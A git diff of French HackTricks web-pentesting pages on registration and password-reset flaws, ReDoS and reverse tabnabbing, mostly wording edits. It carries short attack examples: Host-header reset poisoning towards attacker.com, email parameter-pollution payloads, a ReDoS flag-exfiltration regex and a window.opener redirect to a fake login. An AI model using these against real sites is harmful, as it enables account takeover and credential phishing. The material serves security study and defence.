* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -35,7 +35,7 @@ Vérifiez si vous pouvez déterminer si un nom d'utilisateur a déjà été enre
|
|||
### Politique de Mot de Passe
|
||||
|
||||
En créant un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
|
||||
Dans ce cas, vous pouvez essayer de bruteforcer les informations d'identification.
|
||||
Dans ce cas, vous pouvez essayer de forcer les informations d'identification.
|
||||
|
||||
### Injection SQL
|
||||
|
||||
|
@ -53,7 +53,7 @@ Dans ce cas, vous pouvez essayer de bruteforcer les informations d'identificatio
|
|||
[saml-attacks](saml-attacks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Changement d'E-mail
|
||||
### Changement d'Email
|
||||
|
||||
Une fois inscrit, essayez de changer l'e-mail et vérifiez si ce changement est correctement validé ou s'il peut être changé en e-mails arbitraires.
|
||||
|
||||
|
@ -83,7 +83,7 @@ Une fois inscrit, essayez de changer l'e-mail et vérifiez si ce changement est
|
|||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'en-tête _host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Réinitialisation de Mot de Passe Via Paramètre E-mail <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
### Réinitialisation de Mot de Passe Via Paramètre Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
# parameter pollution
|
||||
email=victim@mail.com&email=hacker@mail.com
|
||||
|
@ -105,12 +105,12 @@ email=victim@mail.com|hacker@mail.com
|
|||
1. L'attaquant doit se connecter avec son compte et accéder à la fonctionnalité **Changer de mot de passe**.
|
||||
2. Démarrer Burp Suite et intercepter la requête.
|
||||
3. Envoyez-la à l'onglet repeater et modifiez les paramètres : ID utilisateur/email\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victime@email.com","password":"motdepasse"})`
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victime@email.com","password":"motdepassesecurise"})`
|
||||
|
||||
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Le jeton de réinitialisation de mot de passe doit être généré de manière aléatoire et unique à chaque fois.\
|
||||
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes peuvent être utilisées par l'algorithme.
|
||||
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
|
||||
|
||||
* Horodatage
|
||||
* ID utilisateur
|
||||
|
@ -118,14 +118,14 @@ Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans ce
|
|||
* Prénom et nom de famille
|
||||
* Date de naissance
|
||||
* Cryptographie
|
||||
* Nombre uniquement
|
||||
* Chiffres uniquement
|
||||
* Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
|
||||
* Réutilisation du jeton
|
||||
* Date d'expiration du jeton
|
||||
|
||||
### Fuite de jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un e-mail spécifique, par exemple : test@mail.com
|
||||
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un e-mail spécifique par exemple : test@mail.com
|
||||
2. Inspectez la réponse du serveur et recherchez `resetToken`
|
||||
3. Ensuite, utilisez le jeton dans une URL comme `https://exemple.com/v3/user/password/reset?resetToken=[LE_JETON_DE_REINITIALISATION]&email=[L_EMAIL]`
|
||||
|
||||
|
@ -192,7 +192,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Attaque par déni de service par expression régulière - ReDoS
|
||||
# Déni de service par expression régulière - ReDoS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,24 +9,24 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
# Attaque par déni de service par expression régulière - ReDoS
|
||||
# Déni de service par expression régulière (ReDoS)
|
||||
|
||||
Un **Déni de Service par Expression Régulière (ReDoS)** se produit lorsqu'une personne exploite les faiblesses de fonctionnement des expressions régulières (une façon de rechercher et de faire correspondre des motifs dans du texte). Parfois, lors de l'utilisation d'expressions régulières, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir tellement importante qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.
|
||||
Un **Déni de service par expression régulière (ReDoS)** se produit lorsqu'une personne exploite les faiblesses de fonctionnement des expressions régulières (une méthode de recherche et de correspondance de motifs dans du texte). Parfois, lors de l'utilisation d'expressions régulières, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si importante qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.
|
||||
|
||||
|
||||
## L'algorithme naïf de Regex problématique
|
||||
## L'algorithme naïf de regex problématique
|
||||
|
||||
**Consultez les détails sur [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||
|
||||
|
||||
## Regex Malveillantes <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
## Regex malveillantes <a href="#evil-regexes" id="evil-regexes"></a>
|
||||
|
||||
Un motif d'expression régulière malveillant est celui qui peut **rester bloqué sur une entrée fabriquée provoquant un DoS**. Les motifs d'expressions régulières malveillants contiennent généralement des groupes avec répétition et répétition ou alternance avec chevauchement à l'intérieur du groupe répété. Quelques exemples de motifs malveillants incluent :
|
||||
Un motif d'expression régulière malveillant est celui qui peut **rester bloqué sur une entrée fabriquée provoquant un DoS**. Les motifs de regex malveillants contiennent généralement des regroupements avec répétition et répétition ou alternance avec chevauchement à l'intérieur du groupe répété. Quelques exemples de motifs malveillants incluent :
|
||||
|
||||
* (a+)+
|
||||
* ([a-zA-Z]+)*
|
||||
|
@ -40,7 +40,7 @@ Tous ceux-ci sont vulnérables à l'entrée `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
|||
|
||||
### Exfiltration de chaîne via ReDoS
|
||||
|
||||
Dans un CTF (ou une prime de bug), peut-être que vous **contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est mise en correspondance**. Alors, il peut être utile de faire **geler la page (délai d'attente ou temps de traitement plus long)** si une **expression régulière correspond** et **pas si elle ne correspond pas**. De cette façon, vous pourrez **exfiltrer** la chaîne **caractère par caractère** :
|
||||
Dans un CTF (ou une prime de bug), peut-être que vous **contrôlez l'expression régulière avec laquelle une information sensible (le drapeau) est mise en correspondance**. Ensuite, il peut être utile de **faire geler la page (délai d'attente ou temps de traitement plus long)** si une **Regex correspond** et **pas si elle ne le fait pas**. De cette façon, vous pourrez **exfiltrer** la chaîne **caractère par caractère** :
|
||||
|
||||
* Dans [**ce post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) vous pouvez trouver cette règle ReDoS : `^(?=<flag>)((.*)*)*salt$`
|
||||
* Exemple : `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||
|
@ -49,7 +49,7 @@ Dans un CTF (ou une prime de bug), peut-être que vous **contrôlez l'expression
|
|||
|
||||
### Contrôle de l'entrée et de l'expression régulière ReDoS
|
||||
|
||||
Les exemples suivants sont des exemples de **ReDoS** où vous **contrôlez à la fois l'entrée** et l'**expression régulière** :
|
||||
Les exemples suivants sont des exemples de **ReDoS** où vous **contrôlez à la fois l'entrée** et la **regex** :
|
||||
```javascript
|
||||
function check_time_regexp(regexp, text){
|
||||
var t0 = new Date().getTime();;
|
||||
|
@ -84,7 +84,7 @@ Regexp (a+)*$ took 723 milliseconds.
|
|||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||
|
||||
# Références
|
||||
## Références
|
||||
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
||||
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
||||
|
@ -98,8 +98,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
@ -31,7 +31,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
|
||||
## **Fuite de jeton de réinitialisation de mot de passe via le référent**
|
||||
* L'en-tête HTTP referer peut divulguer le jeton de réinitialisation de mot de passe s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien de site Web tiers après avoir demandé une réinitialisation de mot de passe.
|
||||
* **Impact** : Prise de contrôle potentielle du compte via des attaques de falsification de requête intersite (CSRF).
|
||||
* **Impact** : Perte potentielle de compte via des attaques de falsification de requête intersite (CSRF).
|
||||
* **Références** :
|
||||
- [Rapport HackerOne 342693](https://hackerone.com/reports/342693)
|
||||
- [Rapport HackerOne 272379](https://hackerone.com/reports/272379)
|
||||
|
@ -40,31 +40,31 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
## **Empoisonnement de réinitialisation de mot de passe**
|
||||
* Les attaquants peuvent manipuler l'en-tête Host lors des demandes de réinitialisation de mot de passe pour pointer le lien de réinitialisation vers un site malveillant.
|
||||
* **Correctif** : Utilisez `$_SERVER['SERVER_NAME']` pour construire les URL de réinitialisation de mot de passe au lieu de `$_SERVER['HTTP_HOST']`.
|
||||
* **Impact** : Conduit à une prise de contrôle potentielle du compte en divulguant des jetons de réinitialisation aux attaquants.
|
||||
* **Impact** : Conduit à une perte potentielle de compte en divulguant des jetons de réinitialisation aux attaquants.
|
||||
* **Étapes d'atténuation** :
|
||||
- Valider l'en-tête Host par rapport à une liste blanche de domaines autorisés.
|
||||
- Utiliser des méthodes sécurisées côté serveur pour générer des URL absolues.
|
||||
* **Références** :
|
||||
- [Article d'Acunetix sur l'empoisonnement de réinitialisation de mot de passe](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Réinitialisation de mot de passe en manipulant le paramètre d'e-mail**
|
||||
* Les attaquants peuvent manipuler la demande de réinitialisation de mot de passe en ajoutant des paramètres d'e-mail supplémentaires pour détourner le lien de réinitialisation.
|
||||
## **Réinitialisation de mot de passe en manipulant le paramètre d'email**
|
||||
* Les attaquants peuvent manipuler la demande de réinitialisation de mot de passe en ajoutant des paramètres d'email supplémentaires pour détourner le lien de réinitialisation.
|
||||
* **Étapes d'atténuation** :
|
||||
- Analyser et valider correctement les paramètres d'e-mail côté serveur.
|
||||
- Analyser et valider correctement les paramètres d'email côté serveur.
|
||||
- Utiliser des instructions préparées ou des requêtes paramétrées pour prévenir les attaques par injection.
|
||||
* **Références** :
|
||||
- [Prise de contrôle de compte Readme.com](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
|
||||
## **Changement d'e-mail et de mot de passe de tout utilisateur via les paramètres API**
|
||||
* Les attaquants peuvent modifier les paramètres d'e-mail et de mot de passe dans les requêtes API pour changer les informations d'identification du compte.
|
||||
## **Changement d'email et de mot de passe de tout utilisateur via les paramètres API**
|
||||
* Les attaquants peuvent modifier les paramètres d'email et de mot de passe dans les requêtes API pour changer les informations d'identification du compte.
|
||||
* **Étapes d'atténuation** :
|
||||
- Assurer une validation stricte des paramètres et des vérifications d'authentification.
|
||||
- Mettre en place une journalisation et une surveillance robustes pour détecter et répondre aux activités suspectes.
|
||||
* **Référence** :
|
||||
- [Prise de contrôle complète du compte via la manipulation des paramètres API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Absence de limitation de taux : bombardement d'e-mails**
|
||||
* Le manque de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'e-mails, submergeant l'utilisateur de courriels de réinitialisation.
|
||||
## **Absence de limitation de taux : bombardement d'emails**
|
||||
* Le manque de limitation de taux sur les demandes de réinitialisation de mot de passe peut entraîner un bombardement d'emails, submergeant l'utilisateur de courriels de réinitialisation.
|
||||
* **Étapes d'atténuation** :
|
||||
- Mettre en place une limitation de taux basée sur l'adresse IP ou le compte utilisateur.
|
||||
- Utiliser des défis CAPTCHA pour prévenir les abus automatisés.
|
||||
|
@ -81,7 +81,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
## **GUID devinable**
|
||||
* Si les GUID (par exemple, version 1) sont devinables ou prévisibles, les attaquants peuvent les forcer pour générer des jetons de réinitialisation valides.
|
||||
* **Étapes d'atténuation** :
|
||||
- Utilisez GUID version 4 pour l'aléatoire ou mettez en place des mesures de sécurité supplémentaires pour les autres versions.
|
||||
- Utiliser le GUID version 4 pour l'aléatoire ou mettre en place des mesures de sécurité supplémentaires pour les autres versions.
|
||||
* **Outils** : Utilisez [guidtool](https://github.com/intruder-io/guidtool) pour analyser et générer des GUID.
|
||||
|
||||
## **Manipulation de réponse : Remplacer une mauvaise réponse par une bonne**
|
||||
|
@ -104,7 +104,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
- Surveiller les activités suspectes indiquant des attaques par force brute.
|
||||
|
||||
## **Essayer d'utiliser votre jeton**
|
||||
* Tester si le jeton de réinitialisation d'un attaquant peut être utilisé en conjonction avec l'e-mail de la victime.
|
||||
* Tester si le jeton de réinitialisation d'un attaquant peut être utilisé en conjonction avec l'email de la victime.
|
||||
* **Étapes d'atténuation** :
|
||||
- S'assurer que les jetons sont liés à la session utilisateur ou à d'autres attributs spécifiques à l'utilisateur.
|
||||
|
||||
|
@ -118,12 +118,12 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
|
|||
* **Étapes d'atténuation** :
|
||||
- Définir une durée d'expiration raisonnable pour les jetons de réinitialisation et les appliquer strictement côté serveur.
|
||||
|
||||
# Références
|
||||
## Références
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
@ -145,7 +145,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,15 +7,15 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Description
|
||||
|
||||
Dans une situation où un **attaquant** peut **contrôler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliqué par une victime, l'**attaquant** **redirige** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site web de l'attaquant, ce **site web malveillant** pourra **contrôler** la **page originale** via l'objet javascript **`window.opener`**.\
|
||||
Dans une situation où un **attaquant** peut **contrôler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliqué par une victime, l'**attaquant** peut **rediriger** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site web de l'attaquant, ce **site web** **malveillant** pourra **contrôler** la **page originale** via l'objet javascript **`window.opener`**.\
|
||||
Si la page n'a pas de **`rel="opener"` mais contient `target="_blank"` et n'a pas `rel="noopener"`**, elle peut également être vulnérable.
|
||||
|
||||
Une façon courante d'exploiter ce comportement serait de **changer l'emplacement du site web d'origine** via `window.opener.location = https://attacker.com/victim.html` vers un site web contrôlé par l'attaquant qui **ressemble à l'original**, afin de **imiter** le **formulaire de connexion** du site web original et de demander les identifiants à l'utilisateur.
|
||||
|
@ -86,8 +86,8 @@ Dans le scénario où un accès **cross-origin** se produit (accès entre diffé
|
|||
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
|
||||
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue via cette propriété.
|
||||
- **`opener.parent`** : Cette propriété renvoie la fenêtre parent de la fenêtre actuelle.
|
||||
- **`opener.self`** : Cette propriété permet d'accéder à la fenêtre actuelle elle-même.
|
||||
- **`opener.top`** : Cette propriété renvoie la fenêtre de navigateur la plus haute.
|
||||
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
|
||||
- **`opener.top`** : Cette propriété renvoie la fenêtre du navigateur la plus en haut.
|
||||
|
||||
Cependant, dans les cas où les domaines sont identiques, le site malveillant obtient accès à toutes les propriétés exposées par la référence de l'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
||||
|
||||
|
@ -111,7 +111,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -11,7 +11,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -24,11 +24,11 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
## Outil
|
||||
|
||||
